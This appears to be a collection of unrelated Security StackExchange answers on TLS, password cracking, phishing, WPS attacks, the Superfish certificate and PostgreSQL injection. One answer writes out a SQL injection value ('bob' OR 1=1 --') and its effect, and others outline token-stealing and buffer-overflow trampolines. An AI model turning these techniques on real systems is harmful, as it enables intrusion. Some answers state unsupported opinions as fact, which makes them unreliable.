zonetransfer.me.        301     IN      TXT     "google-site-verification=tyP28J7JAUHA9fw2sHXMgcCC0I6XBmmoVi04Vl
... etc


ECDSA ciphers and forward secrecy question about key exchange

Forward Secrecy

  The key used to protect transmission of data must not be used to derive any additional keys, and if the key used to protect transmission of data is derived from some other keying material, then that material must not be used to derive any more keys. In this way, compromise of a single key permits access only to data protected by that single key.

Perfect Forward Secrecy (PFS)

PFS holds true above, but satisfies the two properties below:

Generates random public keys per session for the purposes of key agreement
Does not use any sort of deterministic algorithm in doing so

Addressing your questions in SSL/TLS

  How is "each session" defined?

Ephemeral Diffie Hellman is used for PFS.  Using Ephemeral Diffie Hellman (DHE/ECDHE) forces each session to renegotiate its DH parameter every time a single SSL session closes.  So "each session" quite literally means as soon as the session ends the keys are destroyed.  No session IDs are stored by the server, so new keys are forced each time.

  Does this different key approach mean it happens with each
  consecutive/different SSL connection to say the same server or does it
  happen within the existing SSL connection as server side SSL
  re-negotiation request happen?

Doesn't matter if its the same server, or a server side re-negotiation the server shouldn't have cached session keys.  So new DH parameters are needed with *DHE cipher suites.  Now this is how the theory works.  Configuration is kind of a different story.  Some servers might have to disable session resumption to ensure this occurs.

RFC5246: TLS 1.2 Standard

  Implementations SHOULD generate a new X for each handshake when using
  DHE cipher suites.

A related question and answer.


Is it safe to use a ECDSA public key as a password seed for GCM/AES?

This seems... confused. PBKDF2 is a Password-Based Key Derivation Function. It is used to process a password, i.e. a secret piece of data that both parties share.

In your case, they don't share any secret piece of data. They know each other's public keys, which are public, so they are known to everybody. Putting them in PBKDF2 won't turn them secret.


Windows flags Microsoft Sysinternals .zip files as malicious

This has nothing to do with this specific file, and everything to do that it's a zip file downloaded from the Internet.

Open the properties for the zip file, and you should see an option for unblocking [like in the screenshot below] near the bottom of the General tab.   Unblock the file, and you should be able to unzip it.


Is using encryption the only viable option to thwart password sniffing?

If you don't want to send your data in plain text, you have to use encryption, but it doesn't always have to be SSL. For example, a site might choose to do their own encryption at the application level instead of just using SSL (though I can't imagine why anyone would ever do that >_<).

However, if a site doesn't offer this encryption, there is nothing you can do to avoid sending your data in plaintext. After all, the site is expecting it in only plain-text. You can't change that without changing what the site expects.


Which is less trackable by online services, using a SIM card or free wifi?

The SIM card is always the same and some mobile ISP actually add information related to the SIM to each HTTP request (not HTTPS). The public WiFi you use does not need to be the same though. Thus in theory using different public WiFi could provide more privacy.

But in practice the tracking is less done by IP address and more based on information on the device itself: cookies and cache related information in the browser, device-specific ids of mobile apps etc. Thus, unless you first and rigorously care about these trackable information the choice of SIM vs. WiFi or iOS vs. Android vs. whatever does not actually matter.


What are industry-standard recommended practices to protect user information in an Android app?

Before I answer this I have to say something.

Security is one facet of development you can't just "wing", especially if you're dealing with sensitive user medical data.  While the attributes you have listed probably don't fall under HIPPA, if you make certain guarantees to users and the data gets compromised you may be in potential legal trouble.  If your security fails, it's not something you can just patch and make it all better; your users will lose confidence, and your reputation will suffer.

If this is a serious application that you're planning to make money on, then invest in it properly and hire someone who knows security to consult or help in the design/test process.  If it's just a fun side project and you feel like you "should have some security", I recommend you re-evaluate what you're planning.

To actually answer your question I would start by pointing you to OWASPs Mobile Security Project for Android.  This should give you enough information to read to explain the most common pitfalls.  For more formal resources O'reilly almost always has a book on whatever subject you're on.  Take a look at [Application Security for the Android Platform].2

Good luck.


What account should be used to install SQL Server 2008 patches?

As you mention a previous pentester compromised the domain-admin account. Once this happens pretty much the entire network is owned by the attacker.

This is part of the reason you should be careful using a domain-admin account to do patch management. If you issue remote commands via PSExec, RunAs, RDP etc then a token is left on that remote system. If that remote system becomes compromised (and the attacker is now a local admin) the attacker will want to elevate his influence on the entire network. If a domain-admin account was used for remote patching then privilege escalation can be accomplished via token-stealing. Metasploit even has a nice and easy module for this. And now the attacker is a domain-admin.

In the SANS reference they recommend

  you should enable the checkbox "Account is sensitive and cannot be delegated" within the accounts' properties

They mention that this should have no adverse effects on a domain-admin account.

Finally If you have many people with domain-admin accounts that may indicate some other larger issues at hand. Breaking the domain-admin account into separate service accounts (that are not domain-admin) is probably a good idea as well.


Wordpress is attacked 3.5 times more often than non-CMSes. WPScan is a great tool that's been around since the BackTrack Linux days.

However, there are more tools and techniques available. Here is a list of some newer tools:

https://github.com/RamadhanAmizudin/Wordpress-scanner
https://github.com/enddo/wp-plugin-scanner
https://github.com/0xBADCA7/wp-xmlrpc-bruteforcer
https://github.com/droope/droopescan
https://github.com/iniqua/plecost

Techniques for Wordpress security testing and remediation:

https://www.owasp.org/index.php/OWASP_Wordpress_Security_Implementation_Guideline
https://www.acunetix.com/blog/articles/wordpress-security-wpadmin-directory/ (a 10-part series on Wordpress Security from Acunetix)
https://www.acunetix.com/vulnerabilities/web/wordpress-xml-rpc-authentication-brute-force
https://www.acunetix.com/vulnerabilities/web/wordpress-username-enumeration


Nmap update - SSL/TLS ciper strength indication

Per the nmap documentation for the SSL-enum-ciphers script the A-F rating is intended to be an indication of the quality of the cipher (with A being the best rating and F being the worst.

As to the reason for their change, I think you'd need to ask the relevant developer about that (there's an e-mail address on that documentation page I linked) if you want to know that.


It depends what kind of tunnel you want.

IPsec can create a tunnel working at IP level for you. It means your tunnel will encapsulate IP packets, it can also be seen as a router or a layer 3 tunnel.

But you may want to have a layer 2 tunnel, a bridge, working at ethernet or another physical/liaison protocol. In this case you'll need L2TP and IPsec if you want confidentiality too because L2TP doesn't do encryption as you said.


You'll find that most of these attacks still work in both BLE 4.2 and BLE 5.0 -- https://security.stackexchange.com/a/100444/140

As the last link in the comments alludes to, some BLE 5.0 is implemented in both firmware and hardware while others don't have the firmware capability to push a formerly-4.x device to 5.0.

It also notes that Bluetooth is commonly-imperfectly implemented.


URL & address bar spoofing, only possible on rogue access point

Actually, this can't be done with images. Images in browsers are confined to the main frame of the browser, and can't just escape that. Java Applets can, however, though these will ask for permission first.

In general the only way to mask a phishing URL by a legitimate one is to spoof DNS (or just go ahead and ARP spoof the whole connection and add a filter).

  Is it therefore safe to assume that modifying a hosts file on a rogue access point would yield legitimate-looking pages that are actually rogue?

Well, APs usually don't have hosts files, but this is possible. In fact, if someone is on the same subnetwork as you, they can use ettercap with some filters (ARP spoofing) to mask phishing URLs.

In general, the only thing you can trust are SSL URLs (https://). These will display a green something on the address bar if the are legitimate, and will raise an error if they aren't (though this error can be caused by non-malicious situations too)


Does the Tor Browser leak a list of visited websites to TLD DNS services?

No, the Tor Browser never resolves hostnames itself. As you recognized, querying DNS servers directly would effectively allow an adversary to deanonymize you (a vulnerability known as DNS leak).

When your Tor Browser needs to open a new TCP connection, e.g. to load an embedded image over HTTP, you don't need to find out the IP yourself. The Tor protocol allows your browser to initiate the anonymized TCP stream giving the unresolved hostname. The exit node will then figure out the routing itself. This is also explained here.

I think the conversation you linked is just a misunderstanding about how Flash applets can theoretically bypass a Tor tunnel and lead to a leak.


Mixed content is not really related to HSTS. It happens whenever you embed unprotected content into a protected (HTTPS) site. To avoid the mixed content error you need to avoid serving mixed content in the first place, i.e. don't embed HTTP content into a HTTPS site.

The preferred way is to embed the content from the original server with HTTPS.
If this is not possible your own server might need to proxy this traffic so it gets served as HTTPS - see How to allow http content within an iframe on a https site and Is it possible to proxy remote content on HTTPS page?. Note that it can be pretty dangerous to simply forward the requests to your site to some other site and forward the response back - you should at least sanitize the request and response and remove any cookies. Even better might be to use a different domain (which you control and which serves HTTPS) to keep the request cross-origin.
The worst option is probably to disable HTTPS on your site too in order to embed HTTP content from a remote site.


strange text sent from my phone to a friend

It sounds like both of the SMS messages that you described were 'spoofed' to make them look like they were sent from a phone number other than the actual phone number that they were sent from.  It's not difficult to do, and it's not uncommon.  See https://en.wikipedia.org/wiki/SMS_spoofing for more info.


Firmware backdoor in external hard drive without a specific driver possible?

Possible: Technically yes.

Let me state it this way: I got some hardware and I can do with it whatever I want. I them give or sell it to you with it configured to perfectly act like an external hard drive.

Would you be surprised if it had an undocumented command which would give me access to the data?

I am guessing we both agree that the answer is: No. Ofcourse we could not be surprised.

That leaves generic drivers. I also see not problem there. The generic driver will support all the normal commands, and we could for a combination of them and trigger on that. E.g. if someone reads sector 3, 14, 15, 92, 65 and 35 and thus this 42 times with a delay of at least 5 seconds between sector reads.  (or make up your own unlikely access pattern, maybe using a special value when setting a system protected area or anything else a normal user would be unlikely to do).

That means we have extra capabilities ont he drive and a way to trigger them, causing the drive to do whatever we want. Which could include returning the entryption password of the drive, or the raw data written to a sector.

Thuis the answet to the question: Is this possible? is a big yes.
Which is not the same as is this likely. But technically: sure, it is possible.


Why Software Configuration Management tools (SCMs) authenticate only client instead of server?

Here is description of how Puppet's authentication is provided.

The link you provide clearly says:

  Communication between the master and agents is granted and secured with client-verified HTTPS, which requires valid identifying SSL certificates.

Given that some kind of server authentication is always done with HTTPS this only means that client authentication is done additionally to server authentication and not that only client authentication is done.


Contents of Lenova/Superfish certificate

Robert Graham of Errata Security has generously extracted (and provided for download) the Superfish certificate, and cracked its password as well. See this link.

EDIT (per suggestions):

$ cat superfish.cert | openssl x509 -text -noout
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 15203047915477327079 (0xd2fc1387a944dce7)
    Signature Algorithm: sha1WithRSAEncryption
        Issuer: O=Superfish, Inc., L=SF, ST=CA, C=US, CN=Superfish, Inc.
        Validity
            Not Before: May 12 16:25:26 2014 GMT
            Not After : May  7 16:25:26 2034 GMT
        Subject: O=Superfish, Inc., L=SF, ST=CA, C=US, CN=Superfish, Inc.
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (1024 bit)
                Modulus:
                    00:e8:f3:4a:18:76:5f:19:3f:b1:cf:58:e9:7f:43:
                    07:09:95:80:35:c5:0f:fe:71:31:27:81:99:12:26:
                    20:a5:df:8f:6a:fc:42:55:39:ee:09:38:89:d9:e0:
                    36:c4:ac:01:82:5b:d5:39:e6:f9:8f:07:88:df:fe:
                    ee:f6:a1:14:ce:a9:74:45:d8:fd:f0:17:57:2a:82:
                    e1:7a:2e:12:93:5a:ac:8a:d7:15:63:d1:b7:9b:55:
                    80:0f:58:bc:1c:49:ed:20:62:dd:b6:4c:a5:3a:eb:
                    1c:3d:a0:ff:7a:71:a6:d3:10:78:33:ae:4b:c2:1c:
                    fd:92:4a:a1:c3:e7:41:a4:2d
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Basic Constraints:
                CA:TRUE
            X509v3 Subject Key Identifier:
                FB:98:B3:53:7F:14:44:2E:E8:EE:D5:09:9A:5E:0E:56:86:A8:35:88
            X509v3 Authority Key Identifier:
                keyid:FB:98:B3:53:7F:14:44:2E:E8:EE:D5:09:9A:5E:0E:56:86:A8:35:88
                DirName:/O=Superfish, Inc./L=SF/ST=CA/C=US/CN=Superfish, Inc.
                serial:D2:FC:13:87:A9:44:DC:E7

    Signature Algorithm: sha1WithRSAEncryption
         a4:7c:a0:ec:0a:4a:c7:70:c4:71:68:f3:3b:22:e2:dc:9c:8d:
         d0:92:fe:73:7e:72:2b:55:44:9b:1b:b4:42:eb:1f:af:be:ba:
         e3:93:a3:d4:8b:18:c2:94:f0:b3:a6:bd:65:34:4c:cd:24:f8:
         19:0b:c5:15:0a:da:f3:57:8b:a9:86:cf:6c:c3:ee:84:2f:85:
         0b:19:14:17:98:b4:0c:d4:96:8b:e9:1c:cc:95:c9:4e:d0:aa:
         4b:01:a5:f6:df:49:12:81:6a:be:d5:be:ce:76:7d:4e:ac:8b:
         88:e3:30:ed:31:84:50:8f:bc:f1:50:2a:5b:4a:a6:5e:7c:0f:
         71:fa


It's an internal project and no one knows about this server.

Just because you did not tell anybody does not mean that nobody knows about it. Any host exposed to the internet is usually often checked for the kind of services if provides. Also the usual exploits are tried in the hope to find an easy target to take over and misuse, i.e. sending spam, delivering malware, attacking other systems within a DDoS attack, cryptomining, etc.

  ... should I be worried?

If your server is not secure you should be worried. It is better to keep the attack surface small, for example by requiring authentication, limiting access to specific IP addresses or whatever is possible in your specific use case.


Is it possible for a virus to be redistributed through RAM?

As far as I'm aware, presently (Who knows, maybe in the future?), it is not possible that you have received the infection from swapping the RAM. Primarily because RAM is volatile and so will lose any data stored on it after the power is removed (though the data is retained for a very short period of time).

A few more likely scenarios:

Did you plug in a USB device to your old computer, then your new computer to copy data? Malware may have spread that way.
Downloaded and run an infected executable (Downloaded software or drivers to your new laptop?)
Browsed to an infected site.
It's also possible, depending on your network, that your old laptop has a worm which has spread to your new computer over the local network.

An infection from adding RAM would be one of the last things I would be suspicious of. Even if the malicious code was still retained in the memory, the OS won't start executing random bits of code from memory


Is PCI necessary as a SaaS provider when payments handled on third party site?

It sounds like you might qualify for the SAQ A. I would suggest going through the SAQ Instructions and letting it guide you on which SAQ to use. If your business takes credit cards payments, it is required to be PCI compliant. Just because you outsource the payments to another site does not mean you skip the SAQ entirely, but you might qualify for one that requires less demonstration (like SAQ A vs SAQ D).


nmap crashing embedded-system in strange way

if I am not mistaken, my theory... with the -A nmap is actually doing OS detection probes as well, one of the ways it identifies is through timing of probes sent to one open and one closed port. among a host of other things.

with a single port specified, I would bet that though typically this would be performed it is bypassed because you have specified only one port.

with any range of ports Id est 79-80, the feature would be utilized.

That is why it probably seems timing related as well, because of nmap choosing to do the best with what it was given based on request, because you certainly would not want it to say "Hey since you asked me to ID an OS, but only one port, I will probe another arbitrarily to honor the request"

http://nmap.org/book/man-os-detection.html


time to crack file-encryption password - more than just iteration

Enumerating through all possible password, having each one in memory at some point, is an extremely fast process. One can assume that a simple PC will be able to build one such password per clock cycle and per CPU core. So the PC will enumerate billions of passwords per second. If the figures you see are substantially less than that, then they include the password verification cost as well.

The password verification cost is highly variable. Normally, the system which wants to verify passwords stores salted hashed passwords. If the hash function is SHA-1, then an Intel Core2 x86 CPU, running at 2.4 GHz, will be able to try about 12 millions of password per second (and per core): this is what the speed at which the processor will be able to apply the hash function on each password (the password enumeration itself is less than 1% of that cost). My PC is a quad core, so that's 48 millions per second. I also have a not-too-bad Nvidia graphics card which can do password hashing, actually 160 millions per second with a simple raw SHA-1. At that speed, all 8-character passwords (with uppercase and lowercase letters, and digits) are checked in about a fortnight.

Good password storage schemes use iterated or concatenated hashes, in which the password is hashed thousands of times: this makes password verification thousands of times slower, which does not imply a user-noticeable slowdown, but makes the task much harder (namely, thousands of times much harder) for the attacker.


How to protect web server private keys on Ubuntu with Nginx without exposing any plain text credentials?

It is important to understand exactly what the requirements are and how they can be met, as in what is an acceptable solution to both parties. As everybody always says, security is about compromises.

You can have the pvt keys encrypted and nginx will ask for the password every time it starts. This is OK security wise, but not practical at all;
You can have the pvt keys encrypted and have nginx read the passwords off a file. Personally I find this to not have a security benefit if the password file is to be stored on the file system since there is still enough information to decrypt and reveal the pvt keys, particularly to the root user. It's merely an additional step;
You can have a system whereby you enter a passphrase into the kernel keyring every at every boot and use that to control encryption of the nginx password file. Again the passphrase can be extracted off the keyring by root, so this is an additional step that's trickier to compromise than just reading a file. Plus you need to handle the temporary decryption of the password file: A possible solution is to decrypt the password file into RAM, start nginx then scrub it from RAM immediately after the daemon starts;

You could make use of a hardware device instead of the kernel keyring that either contains keys or contains material required to decrypt content, again to expose the password file temporarily. This will make it more difficult to compromise the keys, it is not dependent on a hardware device being available;


Most likely they got your name, phone number and even more data from a database that has either been compromised or was sold to the highest bidder.

The reason why you reached a male the second time is probably because they sit in a callcenter and you got another person on the line this time.

I would check where you entered data like your name and phone number to prevent something like that in the future, and maybe report the number to the authorities or relevant agency in your country.

But don't expect for your data to disappear, it will probably be forever in some database. Don't worry about that too much though :)


Wired Equivalent Privacy (WEP) is a security protocol that is designed to provide a wireless local area network (WLAN) with a level of security and privacy comparable to what is usually expected of a wired LAN.

Source

So as the name states, it's an equivalent of the wired network (LAN). It is supposed to provide the same level of security and privacy, but unfortunately it does not.


Security risk of Microsoft AD Certificate Services?

Certificate Services is a configurable CA which works on the concept of certificate templates. A template describes a kind of certificate that the CA may issue, under what conditions and with what contents. If you could obtain a certificate from CS, then this means that you requested the certificate for a template for which you were allowed to request a certificate.

What matters, though, is what is in the resulting certificate. I invite you to take a look at the certificate contents (with openssl x509 -text). You may add a lot of things in the certificate request, but, ultimately, the template dictates what appears in the certificate itself. Possibly, the machine name you asked for (proxy-server.local.domain) does not actually appear in the certificate at all, or not where a SSL client would look for it. A SSL client requires that the server name (from the URL) appears in the Subject Alt Name extension as a dNSName; lacking a SAN extension, the client will use the CN part of the subject DN (this is described in RFC 2818).

If you could indeed obtain a certificate which, from the point of view of a SSL client, would be a valid SSL server certificate for a server whose name you choose, then yes, one can say that there is a security-related problem that should be fixed. The sysadmin should review the templates activated on the CA and their access rights.

The main security risk for a CA (any CA) is lack of proper system administration.


Google: "Unusual traffic from your computer network"

While what they look for isn't disclosed, we do know how malware abuses Google searches -- attackers will search for sites that display specific signs of vulnerabilities and use that target selection. So the more you look like you're doing that in an automated fashion, the more likely you are to get blocked.

So searching for "facebook" and "michael phelps" and "ebola prevention" is probably less likely to attract attention, while searching for "plugins/cart.php" or "powered by Wordpress" is a bit more suspicious. Other minor factors, like ignoring cookies and sending at a predictable rate might make you look even more like a script. And most importantly, we know that they watch your traffic rate. Lots of searches in a small time is the most reliable way to get yourself flagged.

That's not to say that Google looks for these things. If they were to say what they were looking for then attackers would take measures to mask their behavior.

Most importantly, though: just because you aren't doing anything suspicious in your browser doesn't mean that your computer isn't doing it in an automated fashion in a way you can't see. Malware doesn't need your browser to make these queries. Make sure that nothing on your network is sending traffic you don't know about. Do a packet capture at your gateway to be sure.


Is a SIM card secure against governments?

The simplest answer to your question is: NO almost nothing (on the cloud) is secured from government.
To receive your reset code nobody needs to reproduce a SIM card or to have physical access to it neither to crack your 4 digits PIN, thanks to a weakness in the design of SS7 (Signalling System 7) that allows eavesdropping, interception, shadowing, real time tracking... for as cheap as 10$


What you are referring to what I call a heuristic investigation where the investigator tracks a particular behaviour and tries to tie that to an individual. This technique is used in many fields not just cyber-forensics.

The method your article most likely proposed was somehow obtaining a list of the keyword th3j35t3r correlated with IP addresses that searched for that keyword. I am not aware of any such list publicly available but through legal means, can be obtained by subpena and/or warrants or potentially can be breached by a hacker.

A notable example of what you are looking for is the AOL search log leak where

You can find trends in searches publicly but these are rather anonymous. Some ways to capture specifics would be to setup honeypots such as creating special ads that only target a specific search term (in this case "th3j35t3r"). note: this works well with obscure search terms.


A thought experiment about obfuscating the location of a smartphone when it is in use, is it possible?

It's not possible this way. A (GSM) cell phone (re-)registers about every 15 minutes with the network, and also when there is a need for a cell change, even when there is no actual communication activity. Thus the location of the phone is trackable almost any time, when switched on.


Is it possible to make one processor look like another?

It's not impossible; Intel CPUs have had the ability to have new microcode uploaded into them for some time, and there are open source programs that can do so.  If someone can then decipher the microcode, they could then produce modified microcode with a different CPUID string embedded in it.  (It's supposed to have a checksum to prevent that, but I wouldn't be surprised to find the checksum is validated by the update utility and not the CPU itself.)


Are any Java Card 3.0 smart cards available?

Found the solution myself.

There is one smart card platform that implements Java Card 3.0.1 Classic, available as a smart card and as a USB token:

Sm@rtCafé Expert 6.0
StarSign Crypto USB Token

There also seems to be some similar card from CardLogix.

However, these are all Java Card 3.0 Classic, which is very close to Java Card 2.2.2. The minute differences are easily implemented by card manufacturers, so it seems that most cards will probably update to Java Card 3.0 Classic eventually.

The case for Java Card 3.0 Connected seems a lot bleaker. Nobody has come up with a card, and I couldn't find any information about cards in the making either. It would seem that the requirements are a bit steep for current generation cards and there are not many use cases for such cards.

Unfortunately, even ignoring the HTTP servlet stuff, only Java Card 3.0 Connected edition is the one supporting Java 6 with threads, full types, generics, etc. Java Card 3.0 Classic is still using the 16-bit Java with very few features.


Are UEFI vulnerable to the same password bypass techniques as BIOS?

I can't remember the last time I worked on a system where a CMOS battery pull reset the password. Of course, password reset jumpers or manufacturer override codes are features, and you can expect UEFI to have all the features BIOS had and then some.

Remember, though, that BIOS passwords aren't that powerful. They protect against someone with physical access to the keyboard and screen, but will fail against anyone with physical access to the machine itself. If you want to keep your data safe, you need full disk encryption controlled by a TPM and measured boot.


Any risks of reading arbitrary emails in HTML format?

It depends; it is possible to include malicious code (e.g. JavaScript) in HTML e-mails, but all serious e-mail applications (be it web apps or desktop apps) will prevent this from running when you read it, and exclude them if you decide to save the e-mail as HTML. Good PDF readers will do the same with 'infected' PDFs, actually.

If you somehow intercept the raw e-mail body, save it as a HTML file, and open it in a browser, you run the same risks as opening a random link on the Internet.


AVG Website Scan, Chance of 'Potential Threat'?

I generally consider AVG to be reputable. When in doubt, you can always check against other scanning sites as well.

I don't know what to make of the "Javascript obfuscation" threat, but the Blackhole Exploit Kit is a clear sign of compromise.

Now, for the really bad news: The infected site is going to have to nuke their web server from orbit. Read the whole answer linked there, but the key thing is the only way to be certain that you've got control of the system is to rebuild the system.


Way to find security bugs in Scala source code open-source way?

Codacy (an automated code review platform) has been deploying Scala security patterns.

There's a blog post with the first 9 patterns and if you head to the patterns list in the documentation you can filter for security to check the other ones out (more will be coming out soon).

The way Codacy works is you log into the platform, point it to your git repository and it analyses each of your commits, letting you know whether you created/fixed any issues (be them coding style/performance/complexity/security/etc). There's also an on-premises version.

Codacy gives you the full flexibility to customize the rules you use and even create your own.

It's free for Open Source projects.


PostgreSQL injection with basic sanitization

Depending on the PostgreSQL version and configuration, it might have the "standard_conforming_strings" setting off. If it does - this is the legacy behavior - then you can also escape apostrophes using the \ (backslash) character.
IN THE SPECIFIC INSTANCE of the code you presented, this is only a mild problem; an attacker could put a backslash at the end of the "name" parameter, causing the terminating apostrophe to be escaped and thus the DB engine to see the query as containing an unclosed string (which it would reject, probably without any other harm occurring unless that query was important for some security purpose like logging or error detection).
It becomes a huge problem, though, if there are two attacker-controlled insertion points in the same query. Then, the attacker could prevent the first string from ending until reaching the apostrophe that is supposed to start the second string, and the second string would be interpreted as commands instead of data. The attacker could put whatever they want in there, including subqueries or similar to pull arbitrary data from other tables; the only limitation would be the inability to start a string or entirely new query.
Also, you say the apostrophes (and semicolons, even though those are safe within a string) are removed, not escaped, but of course that can cause its own problems - sometimes names of people or things contain apostrophes! - and if the app instead escapes them then that may also be vulnerable. The standard way to escape an apostrophe is with another apostrophe, so "O'Toole's Doodads" becomes "O''Toole''s Doodads", but if the DB allows backslashes for escaping but the application doesn't escape them itself, then you if you supply "bob' OR 1=1 --" will be converted to "bob'' OR 1=1 --" which would produce the following SQL: SELECT * FROM items WHERE name='bob\'' OR 1=1 --', which the DB would interpret as "select all fields from table [items] that have a name of bob' or that satisfy a condition which always evaluates to true, and ignore the last character because it's a comment".
https://www.postgresql.org/docs/current/sql-syntax-lexical.html#SQL-SYNTAX-STRINGS


BufferOverflow ESP too small for shellcode

You've run into a common problem in developing realistic exploits. Being a common problem, there is likely a solution. You just have to already know how to find it.
In this case, look into the concept of a trampoline. Trampolines are small segments of shellcode that exist to redirect execution. It is useful in this type of scenario because you can redirect to a larger block of memory that you also were able to overwrite. So in your 12 bytes, you have to craft code (start with JMP) that transfers EIP into a larger block from your overflow buffer.


Unusual file permissions on WordPress websites

From what you have written, it does seem to me, this is fairly standard and not too unusual for file permissions. Compare this to other blogging websites of a similar fashion for example. I do not believe that the vulnerability is much higher than for a usual blog website or any other such similar service.


How efficient are the old-good text-image-based capthas nowdays to prove that a form has been submited by a human?

They're useless. Alphanumeric captchas were defeated by off-the-shelf image-recognition libraries years ago.

Even Google's implementation can be bypassed by any sufficiently motivated actor by delegating the work to a click-farm for $0.01 cent per solution. There are literally pools of people who get paid pennies to solve these all day so bot traffic can be conducted unhindered.


Theoretically it is possible, but it takes a lot of skill and effort - much more than it is worth.

The captchas are created to be hard for machines, and easy for humans. This is the perpetual arms race between spammers and webmasters. It's easier to have a human verify the captcha's for this hypothetical bot network.

Gaining rep by fake posts is difficult, but not impossible. Once a few users start noticing that your bots are creating fake posts, or once SE notices copied content, the accounts doing this will get flagged and find themselves banned. And if a pattern is noticed, SE will look deeper and find out what's going on - and take drastic measures.

It's probably easier to gain rep by suggesting edits. There is, in fact, a bot that helps editors to create better edit suggestions. Copying this bot to generate automated edits could work - mostly due to the large amount of sloppy edit reviewers.

Assuming these bots do gain enough rep to vote, they can vote for each other's content, but Stack Exchange has a lot of experience in catching voting rings.

Regarding your edit: dormant bots don't need to be discovered, they only become a problem once they become active. However, SE does automatically delete unused accounts, if certain criteria are fulfilled.

So, it's not impossible, but it's very hard to pull off. The bot maker is very likely to get caught, and get banned from SE.
Over the years, SE has also become very good at catching users who, after being banned, try to create new accounts.


Identifying the problem certificate
When next you visit a site that shows that error, have a look at the certificate chain, it should look something like this:

If it doesn't, that is, if something in that line is a problem, it should identify the expired issuer certificate or the like.
Reasons for a problem certificate

It is possible that this is evidence of a man-in-the-middle attack, but this shouldn't be your very first thought since it requires an amount of technical difficulty to mount. If someone is attempting something like that - you should see an issue when you click on the certificates 'up the chain' from the site you're on (in the window pictured above).
If you see something that appears malicious, your connection is not safe and you should move to a different network.

It is possible this is a man-in-the-middle attack staged by your network administrator. If you're on a corporate network using a corporate owned machine, it's possible that the administrator overlooked issuing the proxy to your machine as a trusted CA, or that that certificate has expired, etc.
If you see someone you recognise (your network operator) in the chain above, talk to them. Also, be aware that whilst your connection is likely safe, they are able to listen in.

You may have an expired or different version of the same certificate root on your machine for some reason - you may also not trust the root (StartSSL is an issuer that doesn't have great coverage, but there are others). Try update your browser, run Windows Update, etc. if the chain looks to be ok, but show expired certificates.
Firefox uses a different store to IE - if you don't get the issue in IE, you likely need to check for Firefox updates.

You may not be connecting to the site you think you're connecting to. In a corporate environment, or at a public hotspot, there may be a 'click-through' page you need to get past to start using the network, and it may be using a certificate you don't trust, or a self-signed certificate, etc.

It may be as simple as your system clock being set wrong, so believing that your CA certificates are expired when they are, in fact, valid.

You may be interested in this help page at SSL Shopper; they link to all the major CAs with instructions on how to update your root certificates.


Is there an any risk with HTTP header value reflection?

While I don't think there's any immediate vulnerabilities, it would still be good practice to check if the reflected value is properly filtered for XSS. It may be possible to chain other vulnerabilities that aren't immediately obvious. For example, there could be a part of the site that will use the If-None-Match header in the content, in which case you'd have an exploit if XSS isn't being filtered correctly.

If you're sure CRLF doesn't work, I'd just make a note of the reflection and continue digging around.


Whatsapp decryption by government agencies

they just haven't leaked-out their encryption keys to government agencies. For now, at least. Global CA's like Comodo have "unexpected leaks" from time to time, and only a fool will beleive that they're accidents...


Suspicious email with my information in it: what do i do?

As your edit shows, this was a phishing attempt by someone who controls:

tomjames.comcastbiz.net/check.php

Relax.  They do not have your secret details (unless of course you went to their site and gave them more information) besides your name and email which probably isn't secret information.  You do not have to do anything.  You potentially could report the link to some anti-phishing sites or your email provider if you want; but sometimes its best to just ignore it.

http://www.us-cert.gov/nav/report_phishing.html

http://www.google.com/safebrowsing/report_phish/


TL;DR: TLS can in theory be used without private keys.

An integral part of TLS is that the client properly authenticates the server in order to detect potential man in the middle attacks. This is commonly done with certificates - and this requires the private key of the certificate on the server site to prove to the client that the server is the owner of the certificate1.

But, TLS is flexible and also provides other ways to authenticate the server. There are PSK ciphers which allow authentication by using a pre-shared key between client and server. There are SRP ciphers which allow authentication by password. There are even anon ciphers which allow you to abandon any kind of in-TLS authentication, i.e. require you to do your own authentication.

Thus, TLS might be used without certificates. And since certificates are the only part of TLS which requires a private key this means that TLS can be used without private keys. But, even if no private key is used a similar secret thing might be required on the server: both SRP and PSK based authentication require a secret on the server side which should at most be known to server and client.

Apart from this, certificate-less (and thus private-key-less) authentication requires both sides of the connection to support the relevant ciphers with the alternative authentication methods. Since browsers currently only support certificate-based authentication a private key is needed on the server side whenever access by a browser is required - i.e. practically every time in case of web servers.

For example you can use openssl to provide a TLS protected connection which does not require certificates. The server would look for example like this:

$ openssl s_server -www -nocert -psk 1a2b3c4d

The client would need to use the same key when connecting to the server, i.e. the basic idea behind PSK is that client and server share a secret key:

$ openssl s_client -connect 127.0.0.1:4433 -psk 1a2b3c4d
...
Cipher    : PSK-AES256-CBC-SHA
...
Verify return code: 0 (ok)

If you would try to connect with a browser to this server (i.e. https://127.0.0.1:4433) you would only get an error since the browser does not support the PSK ciphers: ERR_SSL_VERSION_OR_CIPHER_MISMATCH.

1 Private keys can not only be required for authentication but also for key exchange, i.e. RSA key exchange. But, RSA key exchange requires certificates so it again means that private keys are only relevant if certificates are used. Also, the Diffie-Hellman key exchange does not need certificates and this is actually the recommended method today since it provides forward secrecy.


A good piece of pen testing on wireless networks is around configurations. Is his network set up for mutual authentication? If not, could someone connecting be spoofed into connecting to a rogue access point?

Also have a read of this question re WPA and WPA2

In addition, carry out a site survey, just to see how far the signal goes - it might sound basic, but if it is easy for an attacker to connect from somewhere safe and unobtrusive, they will have more time to attempt an attack.


How visible is a WPS attack with reaver?

Brute-forcing the four-way handshake can be completely silent: an attacker can set up a card to passively listen for someone connecting to the AP, record the handshake, and brute-force it at their leisure.  It is impossible to tell if someone is doing this.

Cracking WPS, in contrast, is quite noisy.  It can only be performed through active contact with the AP, which means the AP's administrator can find out about the attack even if you guess the PIN on the first try.  Each PIN attempt requires roughly half a dozen exchanges with the AP, which can be detected by anyone running a wireless IDS.  Further, some APs will flag that WPS has been locked out due to too many failures, which can be spotted by anyone scanning for APs in the area.  the AP may also be configured to notify an administrator if the WPS lockout has been triggered.


Asymmetric Data Storage+ No-Hash Password Storage?

What you probably want to do is use a Key Wrap algorithm, but it's not absolutely necessary.  It seems reasonable to me that you could do the following for encryption:

Compute a user key from the user's password, using something strong like PBKDF2.
Generate a random data key.
Encrypt the data key with the user key, this will be stored as the wrapped key.
Generate an HMAC across the wrapped key keyed by the user key.  This will be stored for authentication.  (You still need to select the row by another mechanism.)
Encrypt the data using the data key.
Store the PBKDF2 salt, wrapped key, hmac, IV, and encrypted data.

Decryption:

Select the relevant row from the DB.
Using the salt, recalculate the user key from the password.
